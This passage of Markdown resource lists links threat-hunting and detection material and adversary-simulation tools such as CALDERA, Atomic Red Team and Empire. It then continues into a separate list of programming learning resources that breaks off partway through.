and behavioral analytics. ### Dataset - [SecRepo.com](https://www.secrepo.com)([github repo](https://github.com/sooshie/secrepo)) - Samples of security related data. - [Boss of the SOC (BOTS) Dataset Version 1](https://github.com/splunk/botsv1) ### Resources - [Huntpedia](http://info.sqrrl.com/huntpedia) - Your Threat Hunting Knowledge Compendium - [Hunt Evil](http://info.sqrrl.com/practical-threat-hunting) - Your Practical Guide to Threat Hunting - [The Hunter's Handbook](https://cyber-edge.com/wp-content/uploads/2016/08/The-Hunters-Handbook.pdf) - Endgame's guide to adversary hunting - [ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) - A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns. - [The ThreatHunting Project](https://github.com/ThreatHuntingProject/ThreatHunting) - A great [collection of hunts](https://github.com/ThreatHuntingProject/ThreatHunting/tree/master/hunts) and threat hunting resources. - [CyberThreatHunting](https://github.com/A3sal0n/CyberThreatHunting) - A collection of resources for threat hunters. - [Hunt-Detect-Prevent](https://github.com/MHaggis/hunt-detect-prevent) - Lists of sources and utilities to hunt, detect and prevent evildoers. - [Alerting and Detection Strategy Framework](https://medium.com/@palantir/alerting-and-detection-strategy-framework-52dc33722df2) - A Framework for Cyber Threat Hunting ([Part1](https://sqrrl.com/a-framework-for-cyber-threat-hunting-part-1-the-pyramid-of-pain/), [Part2](https://sqrrl.com/a-framework-for-cyber-threat-hunting-part-2-advanced-persistent-defense/), [Part3](https://sqrrl.com/a-framework-for-cyber-threat-hunting-part-3-the-value-of-hunting-ttps/)) - [Common Threat Hunting Techniques & Datasets](https://sqrrl.com/media/Common-Techniques-for-Hunting.pdf) - [Generating Hypotheses for Successful Threat Hunting](https://www.sans.org/reading-room/whitepapers/threats/generating-hypotheses-successful-threat-hunting-37172) - [Expert Investigation Guide - Threat Hunting](https://github.com/Foundstone/ExpertInvestigationGuides/tree/master/ThreatHunting) - [Active Directory Threat Hunting](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf) - [Threat Hunting for Fileless Malware](https://www.countercept.com/our-thinking/threat-hunting-for-fileless-malware/) - [Windows Commands Abused by Attackers](http://blog.jpcert.or.jp/.s/2016/01/windows-commands-abused-by-attackers.html) - [Deception-as-Detection](https://github.com/0x4D31/deception-as-detection) - Deception based detection techniques mapped to the MITRE’s ATT&CK framework. - [Deception, Breaches, and Going on the Offense to Seed the Hunt](https://sqrrl.com/deception-breaches-going-offense-seed-hunt/) - [On TTPs](http://ryanstillions.blogspot.com.au/2014/04/on-ttps.html) - [Situational-Awareness Driven Threat Hunting](https://sqrrl.com/situational-awareness-driven-threat-hunting/) - Hunting On The Cheap ([Part 1: The Architecture](https://www.endgame.com/blog/technical-blog/hunting-cheap-part-1-architecture), [Part 2: Hunting On Networks](https://www.endgame.com/blog/technical-blog/hunting-networks-part-2-higher-order-patterns), [Part 3: Hunting On Hosts](https://www.endgame.com/blog/technical-blog/hunting-cheap-part-3-hunting-hosts), [Slides](https://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Hunting-on-the-Cheap-Butler-Ahuja-Morris-Endgame.pdf)) - [Threat Hunting Techniques - AV, Proxy, DNS and HTTP Logs](http://www.brainfold.net/2016/08/threat-hunting-techniques-av-proxy-dns.html) - [Detecting Malware Beacons Using Splunk](https://pleasefeedthegeek.wordpress.com/2012/12/20/detecting-malware-beacons-using-splunk/) - [Flattened MITRE ATT&CK Matrix](https://docs.google.com/spreadsheets/d/1ljXt_ct2J7TuQ45KtvGppHwZUVF7lNxiaAKII6frhOs) - It contains all matrix categories mapped to techniques with examples of application by software or threat actor groups. - [Data Science Hunting Funnel](http://www.austintaylor.io/network/traffic/threat/data/science/hunting/funnel/machine/learning/domain/expertise/2017/07/11/data-science-hunting-funnel/) - [Use Python & Pandas to Create a D3 Force Directed Network Diagram](http://www.austintaylor.io/d3/python/pandas/2016/02/01/create-d3-chart-python-force-directed/) - [Syscall Auditing at Scale](https://slack.engineering/syscall-auditing-at-scale-e6a3ca8ac1b8) - [Catching attackers with go-audit and a logging pipeline](https://summitroute.com/blog/2016/12/25/Catching_attackers_with_go-audit_and_a_logging_pipeline/) - [The Coventry Conundrum of Threat Intelligence](https://summitroute.com/blog/2015/06/10/the_conventry_conundrum_of_threat_intelligence/) - [Signal the ATT&CK: Part 1](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/signal-att-and-ck-part-1.html) - Building a real-time threat detection capability with Tanium that focuses on documented adversarial techniques. - [JA3: SSL/TLS Client Fingerprinting for Malware Detection](https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41) - SANS Summit Archives ([DFIR](https://www.sans.org/summit-archives/dfir), [Cyber Defense](https://www.sans.org/summit-archives/cyber-defense)) - Threat hunting, Blue Team and DFIR summit slides - [Bro-Osquery](https://svs.informatik.uni-hamburg.de/publications/2018/2018-05-31-Haas-QueryCon-Bro-Osquery.pdf) - Large-Scale Host and Network Monitoring Using Open-Source Software #### Frameworks - [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page) - A curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target. - [MITRE CAR](https://car.mitre.org/wiki/Main_Page) - The Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by MITRE based on the Adversary Tactics, Techniques, and Common Knowledge (ATT&CK™) adversary model. - [Alerting and Detection Strategies Framework](https://github.com/palantir/alerting-detection-strategy-framework) - A framework for developing alerting and detection strategies. - [A Simple Hunting Maturity Model](http://detect-respond.blogspot.com.au/2015/10/a-simple-hunting-maturity-model.html) - The Hunting Maturity Model describes five levels of organizational hunting capability, ranging from HMM0 (the least capability) to HMM4 (the most). - [The Pyramic of Pain](http://detect-respond.blogspot.com.au/2013/03/the-pyramid-of-pain.html) - The relationship between the types of indicators you might use to detect an adversary's activities and how much pain it will cause them when you are able to deny those indicators to them. - [A Framework for Cyber Threat Hunting](http://sqrrl.com/media/Framework-for-Threat-Hunting-Whitepaper.pdf) - [The PARIS Model](http://threathunter.guru/blog/the-paris-model/) - A model for threat hunting. - [Cyber Kill Chain](https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html) - It is part of the Intelligence Driven Defense® model for identification and prevention of cyber intrusions activity. The model identifies what the adversaries must complete in order to achieve their objective. - [The DML Model](http://ryanstillions.blogspot.com.au/2014/04/the-dml-model_21.html) - The Detection Maturity Level (DML) model is a capability maturity model for referencing ones maturity in detecting cyber attacks. - [Endgame Hunt Cycle](http://pages.endgame.com/rs/627-YBU-612/images/Endgame%20Hunt%20Methodology%20POV%203.24.16.pdf) - [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework) - [Sigma](https://github.com/Neo23x0/sigma) - Generic Signature Format for SIEM Systems #### DNS - [Leveraging DNS to Surface Attacker Activity](http://sqrrl.com/media/Webinar-Leveraging-DNS-Slides.pdf) - [Detecting DNS Tunneling](https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152) - [The Nuts and Bolts of Detecting DNS Tunneling](https://sqrrl.com/the-nuts-and-bolts-of-detecting-dns-tunneling/) - [Hunting the Known Unknowns (with DNS)](https://www.splunk.com/pdfs/events/govsummit/hunting_the_known_unknowns_with_DNS.pdf) - [Detecting dynamic DNS domains in Splunk](https://www.splunk.com/blog/2015/08/04/detecting-dynamic-dns-domains-in-splunk.html) - [Random Words on Entropy and DNS](https://www.splunk.com/blog/2015/10/01/random-words-on-entropy-and-dns.html) - [Tracking Newly Registered Domains](https://isc.sans.edu/diary/Tracking+Newly+Registered+Domains/23127) - [Suspicious Domains Tracking Dashboard](https://isc.sans.edu/forums/diary/Suspicious+Domains+Tracking+Dashboard/23046/) - [Proactive Malicious Domain Search](https://isc.sans.edu/forums/diary/Proactive+Malicious+Domain+Search/23065/) - [Plight At The End Of The Tunnel](https://www.endgame.com/blog/technical-blog/plight-end-tunnel) - [DNS is NOT Boring](https://www.first.org/resources/papers/conf2017/DNS-is-NOT-Boring-Using-DNS-to-Expose-and-Thwart-Attacks.pdf) - Using DNS to Expose and Thwart Attacks - [Actionable Detects](https://prezi.com/vejpnxkm85ih/actionable-detects-dns-keynote/) - Blue Team Tactics #### Command and Control - [The Hunter's Den: Command and Control](https://sqrrl.com/the-hunters-den-command-and-control/) - [Command-and-control Malware Traffic Playbook](https://www.demisto.com/command-control-malware-traffic-playbook/) - [How to Hunt Command & Control Channels Using Bro IDS and RITA](https://www.blackhillsinfosec.com/how-to-hunt-command-and-control-channels-using-bro-ids-and-rita/) - [Detect Beaconing with Flare, Elastic Stack, and Intrusion Detection Systems](http://www.austintaylor.io/detect/beaconing/intrusion/detection/system/command/control/flare/elastic/stack/2017/06/10/detect-beaconing-with-flare-elasticsearch-and-intrusion-detection-systems/) - [Rise of Legitimate Services for Backdoor Command and Control](https://anomali.cdn.rackfoundry.net/files/anomali-labs-reports/legit-services.pdf) #### Osquery - [osquery Across the Enterprise](https://medium.com/@palantir/osquery-across-the-enterprise-3c3c9d13ec55) - [osquery for Security — Part 1](https://medium.com/@clong/osquery-for-security-b66fffdf2daf) - [osquery for Security — Part 2](https://medium.com/@clong/osquery-for-security-part-2-2e03de4d3721) - Advanced osquery functionality, File integrity monitoring, process auditing, and more. - [Tracking a stolen code-signing certificate with osquery](https://blog.trailofbits.com/2017/10/10/tracking-a-stolen-code-signing-certificate-with-osquery/) - [Monitoring macOS hosts with osquery](https://blog.kolide.com/monitoring-macos-hosts-with-osquery-ba5dcc83122d) - [Kolide's Blog](https://blog.kolide.com/) - [The osquery Extensions Skunkworks Project](https://github.com/trailofbits/presentations/tree/master/Osquery%20Extensions) #### Windows - [Threat Hunting via Windows Event Logs](https://www.sans.org/summit-archives/file/summit-archive-1524493093.pdf) - [Windows Logging Cheat Sheets](https://www.malwarearchaeology.com/cheat-sheets/) - [Active Directory Threat Hunting](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf) - [Windows Hunting](https://github.com/beahunt3r/Windows-Hunting) - A collection of Windows hunting queries ##### Sysmon - [Splunking the Endpoint: Threat Hunting with Sysmon](https://medium.com/@haggis_m/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd) - [Hunting with Sysmon](https://medium.com/@haggis_m/hunting-with-sysmon-38de012e62e6) - [Threat Hunting with Sysmon: Word Document with Macro](http://www.syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/) - Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - [Part I (Event ID 7)](https://cyberwardog.blogspot.com.au/2017/03/chronicles-of-threat-hunter-hunting-for.html) - [Part II (Event ID 10)](https://cyberwardog.blogspot.com.au/2017/03/chronicles-of-threat-hunter-hunting-for_22.html) - Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk) ([botconf 2016 Slides](https://www.botconf.eu/wp-content/uploads/2016/11/PR12-Sysmon-UELTSCHI.pdf), [FIRST 2017 Slides](https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf)) - [The Sysmon and Threat Hunting Mimikatz wiki for the blue team](https://www.peerlyst.com/posts/the-sysmon-and-threat-hunting-mimikatz-wiki-for-the-blue-team-guurhart) - [Splunkmon — Taking Sysmon to the Next Level](https://www.crypsisgroup.com/wp-content/uploads/2017/07/CG_WhitePaper_Splunkmon_1216-1.pdf) ##### PowerShell - Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science ([Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf), [Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science.pdf)) - [Hunting the Known Unknowns (With PowerShell)](https://conf.splunk.com/files/2016/slides/hunting-the-known-unknowns-the-powershell-edition.pdf) - [HellsBells, Let's Hunt PowerShells!](https://www.splunk.com/blog/2017/07/06/hellsbells-lets-hunt-powershells.html) - [Hunting for PowerShell Using Heatmaps](https://medium.com/@jshlbrd/hunting-for-powershell-using-heatmaps-69b70151fa5d) #### Research Papers - [Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains](https://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf) - [The Diamond Model of Intrusion Analysis](http://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) - [EXPOSURE: Finding Malicious Domains Using Passive DNS Analysis](https://www.cs.ucsb.edu/~chris/research/doc/ndss11_exposure.pdf) - A Comprehensive Approach to Intrusion Detection Alert Correlation ([Paper](https://www.cs.ucsb.edu/~vigna/publications/2004_valeur_vigna_kruegel_kemmerer_TDSC_Correlation.pdf), [Dissertation](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.115.8310&rep=rep1&type=pdf)) - [On Botnets that use DNS for Command and Control](http://www.few.vu.nl/~herbertb/papers/feederbot_ec2nd11.pdf) - [Intelligent, Automated Red Team Emulation](https://dl.acm.org/citation.cfm?id=2991111) #### Blogs - [David Bianco's Blog](https://detect-respond.blogspot.com) - [sqrrl Hunting Blog](https://sqrrl.com/blog/) - [DFIR and Threat Hunting Blog](http://findingbad.blogspot.com) - [CyberWardog's Blog](https://cyberwardog.blogspot.com) - [Chris Sanders' Blog](https://chrissanders.org) - [Kolide Blog](https://blog.kolide.com/) ### Trainings - [Threat Hunting Academy](https://threathunting.org) - [SANS SEC555](https://www.sans.org/course/siem-with-tactical-analytics) - SIEM with Tactical Analytics. - [eLearnSecurity THP](https://www.elearnsecurity.com/course/threat_hunting_professional/) - Threat Hunting Professional - [SpecterOps Adversary Tactics: Detection](https://specterops.io/how-we-help/training-offerings/adversary-tactics-detection) ### Videos - [SANS Threat Hunting and IR Summit 2017](https://www.youtube.com/playlist?list=PLfouvuAjspTr95R60Kt7ZcoerR6tYoCLA) - [SANS Threat Hunting and IR Summit 2016](https://www.youtube.com/playlist?list=PLfouvuAjspTokaa-LdUHqszL-KACkCsKT) - [BotConf 2016 - Advanced Incident Detection and Threat Hunting using Sysmon and Splunk](https://www.youtube.com/watch?v=vv_VXntQTpE) - [BSidesCharm 2017 - Detecting the Elusive: Active Directory Threat Hunting](https://www.youtube.com/watch?v=9Uo7V9OUaUw) - [BSidesAugusta 2017 - Machine Learning Fueled Cyber Threat Hunting](https://www.youtube.com/watch?v=c-c-IQ5pFXw) - [Toppling the Stack: Outlier Detection for Threat Hunters](https://www.youtube.com/watch?v=7q7GGg-Ws9s) - [BSidesPhilly 2017 - Threat Hunting: Defining the Process While Circumventing Corporate Obstacles](https://www.youtube.com/watch?v=bDdsGBCUa8I) - [Black Hat 2017 - Revoke-Obfuscation: PowerShell Obfuscation Detection (And Evasion) Using Science](https://www.youtube.com/watch?v=x97ejtv56xw) - [DefCon 25 - MS Just Gave the Blue Team Tactical Nukes](https://www.youtube.com/watch?v=LUtluTaEAUU) - [BSides London 2017 - Hunt or be Hunted](https://www.youtube.com/watch?v=19H7j_sZcKc) - [SecurityOnion 2017 - Pivoting Effectively to Catch More Bad Guys](https://www.youtube.com/watch?v=_QVhMPGtIeU) - [SkyDogCon 2016 - Hunting: Defense Against The Dark Arts](https://www.youtube.com/watch?v=mKxGulV2Z74) - [BSidesAugusta 2017 - Don't Google 'PowerShell Hunting'](https://www.youtube.com/watch?v=1mfVPLPxKTc) - [BSidesAugusta 2017 - Hunting Adversaries w Investigation Playbooks & OpenCNA](https://www.youtube.com/watch?v=8qM-DnmHNv8) - [Visual Hunting with Linked Data](https://www.youtube.com/watch?v=98MrgfTFeMo) - [RVAs3c - Pyramid of Pain: Intel-Driven Detection/Response to Increase Adversary's Cost](https://www.youtube.com/watch?v=zlAWbdSlhaQ) - [BSidesLV 2016 - Hunting on the Endpoint w/ Powershell](https://www.youtube.com/watch?v=2MrrOxsJk_M) - [Derbycon 2015 - Intrusion Hunting for the Masses A Practical Guide](https://www.youtube.com/watch?v=MUUseTJp3jM) - [BSides DC 2016 - Practical Cyborgism: Getting Start with Machine Learning for Incident Detection](https://www.youtube.com/watch?v=2FvP7nwb2UE&feature=youtu.be) - [SANS Webcast 2018 - What Event Logs? Part 1: Attacker Tricks to Remove Event Logs](https://www.youtube.com/watch?v=7JIftAw8wQY) - [Profiling And Detecting All Things SSL With JA3](https://www.youtube.com/watch?v=oprPu7UIEuk) - [QueryCon 2018](https://www.youtube.com/playlist?list=PLlSdCcsTOu5STvaoPlr-PJE-zbYmlAGrX) - An annual conference for the osquery open-source community ([querycon.io](https://querycon.io)) ### Twitter - ["Awesome Detection" Twitter List](https://twitter.com/0x4d31/lists/awesome-detection) - Security guys who tweet about threat detection, hunting, DFIR, and red teaming - ["Awesome Detection" Collection](https://twitter.com/0x4d31/timelines/952125848508772353) - A collection of tweets about threat detection, hunting, DFIR, and read teaming techniques that can help you create detection logics. - [Top #infosec Twitter Accounts](https://sqrrl.com/top-infosec-twitter-accounts/) (From a Threat Hunter’s Perspective) ## Threat Simulation A curated list of awesome adversary simulation resources ### Tools - [MITRE CALDERA](https://github.com/mitre/caldera) - An automated adversary emulation system that performs post-compromise adversarial behavior within Windows Enterprise networks. - [APTSimulator](https://github.com/NextronSystems/APTSimulator) - A Windows Batch script that uses a set of tools and output files to make a system look as if it was compromised. - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Small and highly portable detection tests mapped to the Mitre ATT&CK Framework. - [Network Flight Simulator](https://github.com/alphasoc/flightsim) - flightsim is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility. - [Metta](https://github.com/uber-common/metta) - A security preparedness tool to do adversarial simulation. - [Red Team Automation (RTA)](https://github.com/endgameinc/RTA) - RTA provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft, modeled after MITRE ATT&CK. - [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - Payload Generation Framework. - [CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH) - Payload Generation for Adversary Simulations. - [DumpsterFire](https://github.com/TryCatchHCF/DumpsterFire) - A modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events. - [Empire](https://github.com/EmpireProject/Empire)([website](http://www.powershellempire.com)) - A PowerShell and Python post-exploitation agent. - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/) - A PowerShell Post-Exploitation Framework. - [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A Virtual Machine for Adversary Emulation and Threat Hunting. RedHunt aims to be a one stop shop for all your threat emulation and threat hunting needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment. ### Resources - [MITRE's Adversary Emulation Plans](https://attack.mitre.org/wiki/Adversary_Emulation_Plans) - [Awesome Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) - A list of awesome red teaming resources - [Red-Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) - Wiki to collect Red Team infrastructure hardening resources. - [Payload Generation using SharpShooter](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/) - [SpecterOps Blog](https://posts.specterops.io/) - [Advanced Threat Tactics](https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/) - A free course on red team operations and adversary simulations. - [Signal the ATT&CK: Part 1](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/signal-att-and-ck-part-1.html) - Modelling APT32 in CALDERA - [Introducing Endgame Red Team Automation](https://www.endgame.com/blog/technical-blog/introducing-endgame-red-team-automation) - [Red Teaming/Adversary Simulation Toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit) - A collection of open source and commercial tools that aid in red team operations.

# Awesome Learning Resources [](https://github.com/lauragift21/awesome-learning-resources)  [Preview on the web](https://nicedoc.io/lauragift21/awesome-learning-resources) ## Table of Contents - [Awesome Learning Resources](#awesome-learning-resources) - [Table of Contents](#table-of-contents) - [Agile](#agile) - [Android](#android) - [Angular](#angular) - [APEX](#apex) - [BASH](#bash) - [BOOTSTRAP](#bootstrap) - [C#](#c) - [Career](#career) - [CSS](#css) - [Computer Vision](#computer-vision) - [Data Science](#data-science) - [Deep Learning](#deep-learning) - [Developer Blog](#developer-blog) - [Developer Stories](#developer-stories) - [Django](#django) - [Elixir](#elixir) - [Flutter](#flutter) - [Flask](#flask) - [Git and GitHub](#git-and-github) - [Golang](#golang) - [GraphQL](#graphql) - [Hugo](#hugo) - [Hacking](#hacking) - [InfoSec](#infosec) - [Ionic](#ionic) - [JavaScript](#javascript) - [Java](#java) - [Kotlin](#kotlin) - [Laravel](#laravel) - [Machine Learning](#machine-learning) - [Malware Analysis](#malware-analysis) - [Markdown](#markdown) - [NodeJS](#nodejs) - [PHP](#php) - [PLSQL](#plsql) - [Podcasts](#podcasts) - [PWA](#pwa) - [Python](#python) - [ReactJS](#reactjs) - [React Native](#react-native) - [Ruby](#ruby) - [Ruby on Rails](#ruby-on-rails) - [Rust](#rust) - [Serverless](#serverless) - [Sick Picks](#sick-picks) - [Startups](#startups) - [Svelte](#svelte) - [Swift](#swift) - [TensorFlow](#tensorflow) - [Twilio](#twilio) - [Typescript](#typescript) - [Voice](#voice) - [Vue](#vue) - [Women in Tech](#women-in-tech) - [XML](#xml) ## Agile - [Manifesto for Agile Software Development](https://agilemanifesto.org/) - [Martin Fowler's website](https://martinfowler.com/) - [Understanding the Agile methodology](https://linchpinseo.com/the-agile-method/) - [Agile ceremonies](https://www.atlassian.com/agile/scrum/ceremonies) - [Agile user stories](https://zepel.io/agile/user-stories/) - [The Agile Idea](https://www.manning.com/books/the-agile-idea) ## Android - [What is Android](https://www.android.com/what-is-android/) - [Android 10](https://www.android.com/android-10/) - [Android Open Source Project](https://source.android.com/) - [Getting Started and be an Android Developer](https://developer.android.com/guide/slices/getting-started) - [Introduction](https://developer.android.com/guide) - [Build your first app](https://developer.android.com/training/basics/firstapp) - [Whats New? AndroidX](https://developer.android.com/jetpack/androidx) - [Migrate to AndroidX](https://developer.android.com/jetpack/androidx/migrate) - [Learn Android](https://www.tutlane.com/tutorial/android) ## Angular - [Official Angular Quickstart](https://angular.io/guide/quickstart) - [Angular's Source Code](https://github.com/angular/angular) Maintained by Google - [Angular Console](https://angularconsole.com/) A nifty UI for the Angular CLI - [Angular Material](https://material.angular.io/) Angular implementation of Google's Material design - [Sample Angular Starter App](https://github.com/duluca/lemon-mart) - [John Papa's Blog](https://johnpapa.net/) - [Angular2+ Version Upgrade Guide](https://update.angular.io/) - [AngularJS to Angular2+ Migration Guide](https://angular.io/guide/upgrade) - [Angular in Depth](https://indepth.dev/angular/) - [NGRX](https://ngrx.io/) - [DevProjects - Free Real-World Angular Projects](https://www.codementor.io/projects/angular) ## APEX - [Ask TOM](https://asktom.oracle.com/pls/apex/f?p=100:1000::::::) - [Oracle APEX Community](https://community.oracle.com/community/technology_network_community/database/developer-tools/application_express) - [APEX World](https://apex.world/ords/f?p=APEX_WORLD:HOME) - [Oracle LiveSQL](https://livesql.oracle.com/apex/livesql/file/index.html) - [APEX Office Hours](https://asktom.oracle.com/pls/apex/f?p=100:551:::NO:551:P551_CLASS_ID:744:) - [Maxime Tremblay's Blog](https://max-tremblay.blogspot.com/) - [Explorer UK](https://explorer.uk.com/blog/) - [Talk APEX](https://www.talkapex.com/) - [Joel Kallman's Blog](https://joelkallman.blogspot.com/) - [Oracle APEX Website](https://apex.oracle.com/) ## BASH - [Bash Manual](https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html) - [Bash Programming](https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html) - [Shell Scripting MIT](https://missing.csail.mit.edu/2020/shell-tools/) - [Shell Scripting Project-Based](https://www.udemy.com/course/linux-shell-scripting-projects/) - [Practice Bash](https://www.hackerrank.com/domains/shell) ## BOOTSTRAP - [W3Schools](https://www.w3schools.com/bootstrap4/) - [Website Setup](https://websitesetup.org/bootstrap-tutorial-for-beginners/) - [Bootstrapious](https://bootstrapious.com/blog) - [Tutorials Point](https://www.tutorialspoint.com/bootstrap/index.htm) - [Bootstrap Tutorial Series](https://github.com/SonarSystems/Bootstrap-4-Tutorial-Series) - [Hackr.io](https://hackr.io/tutorials/learn-bootstrap) - [Tabler](https://preview.tabler.io) - [Bootstrap Tutorial - Tutlane](https://www.tutlane.com/tutorial/bootstrap) - [Bootstrap 5 Cheat Sheet](https://bootstrap-cheatsheet.themeselection.com/) ## C# - [Channel9](https://channel9.msdn.com/Series/CSharp-Fundamentals-for-Absolute-Beginners) - [Eduonix](https://www.eduonix.com/courses/Software-Development/Learn-C-Sharp-Programming-From-Scratch) - [Tutorials Point](https://www.tutorialspoint.com/csharp) - [Zetcode](https://zetcode.com/lang/csharp/) - [Tim Corey](https://www.youtube.com/channel/UC-ptWR16ITQyYOglXyQmpzw) - [W3Schools](https://www.w3schools.com/cs/default.asp) - [Tutlane](https://www.tutlane.com/tutorial/csharp) - [Tiny C# Projects](https://www.manning.com/books/tiny-c-sharp-projects) ## Career - [Career Paths in Tech](https://online.maryville.edu/online-bachelors-degrees/management-information-systems/careers/) ## CSS - [Marksheet.io](https://marksheet.io/) - [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/CSS) - [Codrops CSS Reference](https://tympanus.net/codrops/css_reference/) - [W3Schools](https://www.w3schools.com/) - [CSS Tricks](https://css-tricks.com) - [10 great CSS animation resources](https://www.creativebloq.com/advice/5-great-css-animation-resources) - [Chen's Blog](https://www.chenhuijing.com/) - [Smashing Magazine](https://www.smashingmagazine.com/) - [30 Sec of CSS](https://atomiks.github.io/30-seconds-of-css/) - [CSS Reference](https://cssreference.io/) - [CSS Grid by Wes Bos](https://cssgrid.io/) - [CSS Flexbox by Wes Bos](https://flexbox.io/) - [Alligator.IO CSS Page](https://alligator.io/css) - [CSS Images](https://coding-artist.teachable.com/) - [Learn CSS Layouts](https://learnlayout.com/) - [Learn HTML & CSS](https://learn.shayhowe.com/) - [Flexbox Froggy](https://flexboxfroggy.com/) - [CSS Grid](https://cssgridgarden.com/) - [CSS Flexbox - freeCodeCamp](https://learn.freecodecamp.org/responsive-web-design/css-flexbox/) - [CSS Grid - freeCodeCamp](https://learn.freecodecamp.org/responsive-web-design/css-grid/) - [CSS Testing - QuirksMode.org](https://www.quirksmode.org/css/) - [Flexbox Froggy](https://flexboxfroggy.com/) - [CSS Diner](https://flukeout.github.io/) - [Pure CSS Loaders](https://loading.io/css/) - [CSSBattle](https://cssbattle.dev/) ## Computer Vision - [Udacity Introduction to Computer Vision](https://www.udacity.com/course/introduction-to-computer-vision--ud810) - [A Gentle Introduction to Computer Vision](https://machinelearningmastery.com/what-is-computer-vision/) - [Coursera Computer Vision Basics](https://www.coursera.org/learn/computer-vision-basics) - [PyImageSearch Blog](https://www.pyimagesearch.com/) ## Data Science - [DataCamp](https://www.datacamp.com/) - [New Coder](https://newcoder.io/) - [Data Analysis in Python with Pandas](https://www.youtube.com/playlist?list=PL5-da3qGB5ICCsgW1MxlZ0Hq8LL5U3u9y) - [The Quartz Guide to Bad data](https://github.com/Quartz/bad-data-guide) - [Analytics Vidhya](https://www.analyticsvidhya.com/blog/2019/01/learning-path-data-scientist-machine-learning-2019/) - [Alison](https://alison.com/courses/data-science) - [Automate the boring stuff with Python](https://automatetheboringstuff.com) - [Sololearn](https://www.sololearn.com/Course/data-science/) - [FreeCodeCamp](https://www.freecodecamp.org/learn/data-analysis-with-python/data-analysis-with-python-course/) - [Applied Ai](https://www.appliedaicourse.com/?gclid=Cj0KCQjwwY-LBhD6ARIsACvT72M2c1Yo3CFYoPpIEP4_omxJRbT4MzHk3vqcUw93xcy6asjPfGWn2R0aAq3NEALw_wcB) - [Coursera](https://www.coursera.org/professional-certificates/ibm-data-science) ## Deep Learning - [Deep Learning Specialization (instructor : Andrew Ng) on Coursera](https://www.coursera.org/specializations/deep-learning) - [Udacity Intro to Tensorflow for Deep Learning](https://www.udacity.com/course/intro-to-tensorflow-for-deep-learning--ud187) - [Udacity Intro to Deep Learning with PyTorch](https://www.udacity.com/course/deep-learning-pytorch--ud188) ## Developer Blog - [Adebiyi Adedotun](https://medium.com/@adebiyiadedotun9/) - [Alistapart](https://alistapart.com) - [Assortment.io](https://assortment.io/) - [Ayo Isaiah](https://freshman.tech/) - [Backticks & Tildes](https://medium.com/backticks-tildes) - [bitsofcode](https://bitsofco.de) - [catlin.red](https://catalin.red/) - [Creative Bloq](https://www.creativebloq.com/) - [David Heinemeier Hansson (DHH)](https://medium.com/@dhh) - [David Walsh](https://davidwalsh.name) - [Flavio Copes](https://flaviocopes.com/) - [Gift Egwuenu](https://giftegwuenu.com) - [Jake Archibald](https://jakearchibald.com/) - [Harry Cresswell](https://harrycresswell.com/articles/) - [Mark Dotto Blog](https://markdotto.com) - [Martin Fowler](https://martinfowler.com/) - [Monica Powell](https://www.aboutmonica.com/) - [Raymond Camden](https://raymondcamden.com) - [Shay Howe](https://learn.shayhowe.com/) - [Tania Rascia](https://www.taniarascia.com/) - [Todd Motto](https://toddmotto.com/) - [Zell's Blog](https://zellwk.com/blog) - [Dan Abramov Blog](https://overreacted.io/) - [Web Development Reading List](https://wdrl.info) - [Developer Roadmap](https://roadmap.sh) - [CodeWall](https://codewall.co.uk) - [Joshua Comeau](https://joshwcomeau.com/) - [Sara Soueidan](https://sarasoueidan.com/) - [Robin Weiruch](https://robinwieruch.de/) - [Wes Bos](https://wesbos.com/) ## Developer Stories - [My 